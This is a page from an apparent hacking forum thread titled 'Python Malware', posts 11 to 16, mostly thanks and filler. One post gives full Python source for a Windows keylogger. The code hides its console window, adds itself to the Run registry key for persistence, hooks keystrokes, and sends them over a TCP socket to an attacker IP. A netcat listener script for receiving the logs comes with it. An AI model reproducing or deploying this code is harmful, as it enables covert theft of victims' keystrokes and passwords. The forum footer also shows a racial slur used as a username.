For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Tutorial] 0xC Python Tutorial: Python Malware
08-21-2017, 05:46 AM,
Post: #11
RE: 0xC Python Tutorial: Python Malware
if cd command in terminal / cmd does not work, you guys can make a new function similar to cmd
def cmd_cd(path):
.... os.chdir(path)
Quote
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
08-25-2017, 06:55 PM,
Post: #12
RE: 0xC Python Tutorial: Python Malware
Thanks for [Tutorial] 0xC Python Tutorial: Python Malware
Quote
08-31-2017, 08:43 AM,
Post: #13
RE: 0xC Python Tutorial: Python Malware
lets trylets trylets trylets try

Blackhat
Quote
09-27-2018, 02:25 PM,
Post: #14
RE: 0xC Python Tutorial: Python Malware
Thanks for sharing this content.
Quote
01-11-2019, 07:02 AM,
Post: #15
RE: 0xC Python Tutorial: Python Malware
#!/usr/bin/python

##PyHook and Pythoncom are responsible for getting keystrokes

import pyHook, pythoncom

##socket will be used for channel creation between victim and the attacker

import socket

##the next modules are used for windows functions like editing registry keys and hide cmd function

import win32event, win32api, winerror,win32console,win32gui

from _winreg import *

def AddProgramToStartup(): ##Function Definition

##in python __file__ is an instant of the file path where it was executed so if the user excuted the file from the desktop t __file__ would be c:\users\username\desktop

fp=os.path.dirname(os.path.realpath(__file__))

##next appending the filename “malware.py”

file_name=”maleware.py”

new_file_path=fp+”\\”+file_name



##KeyVal is a raw string variable containing registry key name.

##python raw strings used in case we have / in our strings

keyVal= r’Software\Microsoft\Windows\CurrentVersion\Run’

##The next couple of codes is adding an entry in the registry key which will make our code run each time user logs in.

key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, “HacKeD”,0,REG_SZ, new_file_path)

##Creating and initializing variable called data which will hold the keystrokes and HOST_IP which is the attacker’s IP

data=”

HOST_IP=”192.168.4.78″

def SendToRemoteServer(): ##Function Definition

global data ##Global variable which is the data to be sent

#Create a TCP socket and connect to the attacker machine on Port 500 ,These lines of code I believe most of python users aware of.

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((HOST_IP, 500))

sock.send(data)

sock.close()

return True

def HideCmd(): ##Function Definition.

window = win32console.GetConsoleWindow() ##Get a CMD

win32gui.ShowWindow(window,0) ##Hide the CMD Shell(Putting the value 0)

return True

def GetKeyPressedAndSendIt(event): ##Function Definition

global data ##Global variable data which will hold key strokes

##The next peace of the IF Statements are responsible for changing the ASCI value of the letters to characters.

if event.Ascii==13:

keys='<ENTER>’

elif event.Ascii==8:

keys='<BACK SPACE>’

elif event.Ascii==9:

keys='<TAB>’

else:

keys=chr(event.Ascii) ##if any letter is pressed get the character value of it’s Asci.



data=data+keys ##Put the key into the buffer

HideCmd() ##Hide The CMD

SendToRemoteServer() ##Send the Key logs to the remote server

##Now after defining all the functions it’s time for the main function which will be executed upon double clicking on the file.

##First it will call the AddProgramToStartUp () Function.

AddProgramToStartup()

##Next the part is to get key strokes from the keyboard, This can be easily done done using pyhook and pythoncomp

##The below link explains how to get mouse events and keyboard events using python(PyHook and Pythoncom Modules)

###############http://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/##################

hm = pyHook.HookManager()

##Call the function GetKeyPresseedAndSendIt()

hm.KeyDown = GetKeyPressedAndSendIt()

hm.HookKeyboard()

pythoncom.PumpMessages()



It is mandatory to have a listener which should be implemented at the attacker machine on port 500 to receive the key logs, and this can be easily implemented using the bash.
#!/usr/bin/bash

while true

do

nc -nlp 500 ##open a permanent listener on port 500 using nc

done
Quote
05-11-2019, 05:24 AM,
Post: #16
RE: 0xC Python Tutorial: Python Malware
thanks for share bro :)
Quote
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp


Possibly Related Threads...
Thread Author Replies Views Last Post
[Tutorial] Python Proxy Switcher basic tutorial Sartux7 1 1,188 05-08-2019, 05:21 AM
Last Post: mrroboto
Auto-visit and custom click in python Canelrs 2 3,600 02-27-2019, 05:29 AM
Last Post: mrroboto
script python caesarnur 1 3,533 12-28-2016, 08:33 AM
Last Post: nigger
J00mla simplephotogallery component, automated sql injection script in python Codefire 0 3,240 04-16-2015, 09:26 PM
Last Post: Codefire

Forum Jump:


Users browsing this thread: 1 Guest(s)
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp


All rights reserved © 2012-2015 OffensiveCommunity, Designed at WallBB Co Uk
Powered By MyBB, © 2002-2019 MyBB Group.